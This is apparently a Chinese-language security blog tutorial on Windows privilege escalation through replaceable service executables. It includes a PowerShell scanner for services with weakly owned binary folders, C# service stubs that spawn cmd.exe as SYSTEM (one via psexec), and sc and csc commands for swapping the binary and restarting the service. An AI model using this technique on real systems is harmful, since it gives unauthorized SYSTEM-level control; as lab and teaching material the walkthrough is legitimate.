admin

使用PowerShell找到可写的Windows服务并利用
0x0 工具清单psexec.exeexp.ps1Service.cssccsc.exe (采用内置netfarm...
扫描右侧二维码阅读全文
20
2019/03

使用PowerShell找到可写的Windows服务并利用

0x0 工具清单

  • psexec.exe
  • exp.ps1
  • Service.cs
  • sc
  • csc.exe (采用内置netfarmwork文件夹内的即可)

psexec.exe 自行在Microsoft官方下载

exp.ps1(ps:原文中给出的powershell脚步或许因为编辑器渲染问题,代码段出了很多问题,这里已经将坑填好):

$ErrorActionPreference="SilentlyContinue"  # 使用$ErrorActionPreference="SilentlyContinue"隐藏错误信息,错误信息写入$Error变量
$out = (Get-WmiObject win32_service | select PathName) #筛选符合条件的服务后,重新查找,找到当前用户权限对应的服务名称和路径
$out|% {[array]$global:path += $_.PathName} 
for($i=0;$i -le $out.Count-1;$i++){
    #获取文件夹权限
    $a=Get-Acl -Path $out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))
   #筛选符合条件的服务
    If($a.Owner -ne "NT AUTHORITY\SYSTEM"){
        If($a.Owner -ne "NT SERVICE\TrustedInstaller"){
            If($a.Owner -ne "BUILTIN\Administrators"){
                #重新查找,找到当前用户权限对应的服务名称和路径
                Get-WmiObject win32_service | ?{$_.PathName -like $out[$i].PathName}|select Name,PathName,ProcessId,StartMode,State,Status
                Write-host Owner: $a.Owner
            }
        }
            
    }  
}
Write-host [+] All done.

Service.cs(1)

using System.ServiceProcess;

namespace Demo
{
    public class Service : ServiceBase
    {
        protected override void OnStart(string[] args)
        {
            System.Diagnostics.Process.Start("cmd.exe");
        }
    }

    static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }
}

Service.cs(2)

using System.ServiceProcess;
namespace Demo
{
    public class Service : ServiceBase
    {
        protected override void OnStart(string[] args)
        {
            System.Diagnostics.Process.Start(@"c:\test\psexec.exe", @"-accepteula -d -i 1 cmd.exe");
        }
    }
 
    static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }
}

psexec:

由于服务启动的exe为system权限,默认为session 0,而用户界面为session 1,所以看不到启动的exe界面

可通过psexec指定启动exe的session,这样就能获取到程序界面

详细参考:

https://docs.microsoft.com/en-us/sysinternals/downloads/psexec

创建Windows服务具体参考:https://docs.microsoft.com/zh-cn/dotnet/framework/windows-services/how-to-create-windows-services

sc命令:

查询服务列表 : sc query
查询指定服务:sc 服务名
创建服务: sc create 服务名 type= Own binpath= c:\test\Service.exe
删除服务: sc delete 服务名

0x1 实战测试

(1) 编译服务exe


C:\test>dir \Windows\Microsoft.NET\csc.exe /s /b

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe

C:\test>C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe Service.cs

(2)创建服务并启动

sc create Test type= Own binpath= c:\test\Service.exe

sc start Test

启动成功后打开任务管理器发现

1552573247810

(3)停止Test服务 替换Service.exe

在实际情况,如果没有获得管理员权限,那么无法启动和停止服务

如果不停止服务,就无法直接删除exe,提示拒绝访问

但可以将该文件重命名,相当于变相删除该文件,将新文件再命名为service.exe

sc stop Test
#重命名文件
C:\test>rename Service.exe Service1.exe


C:\test>C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe Service2.cs
适用于 Microsoft(R) .NET Framework 3.5 版的 Microsoft(R) Visual C# 200
.5.30729.5420
 版
版权所有(C) Microsoft Corporation。保留所有权利。



C:\test>rename Service2.exe Service.exe

(4)重启服务提升权限

sc start Test

弹出cmd 权限为system

左侧是当前用户权限

1552573699207

powershell脚本扫描可替换服务

视频演示

参考

https://www.4hou.com/technology/7612.html

Last modification:March 20th, 2019 at 11:09 pm
If you think my article is useful to you, please feel free to appreciate

Leave a Comment